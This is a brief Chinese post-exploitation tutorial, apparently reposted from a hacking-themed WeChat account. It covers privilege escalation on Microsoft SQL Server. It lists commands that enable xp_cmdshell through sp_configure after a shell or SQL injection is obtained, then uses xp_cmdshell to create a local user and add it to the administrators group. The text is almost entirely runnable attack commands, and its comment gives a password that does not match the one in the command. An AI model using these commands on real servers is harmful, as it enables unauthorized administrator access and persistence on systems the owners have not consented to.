目录
0x01 前提
0x02 xp_cmdshell
0x03 提权
0x01 前提
getshell或者存在sql注入并且能够执行命令。
sql server是system权限,sql server默认就是system权限。
0x02 xp_cmdshell
有了xp_cmdshell的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。
开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 0;reconfigure
0x03 提权
exec master..xp_cmdshell 'net user test pinohd123. add'添加用户test,密码testexec master..xp_cmdshell 'net localgroup administrators test add'添加test用户到管理员组

关注公众号:HACK之道

文章转载自HACK之道,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




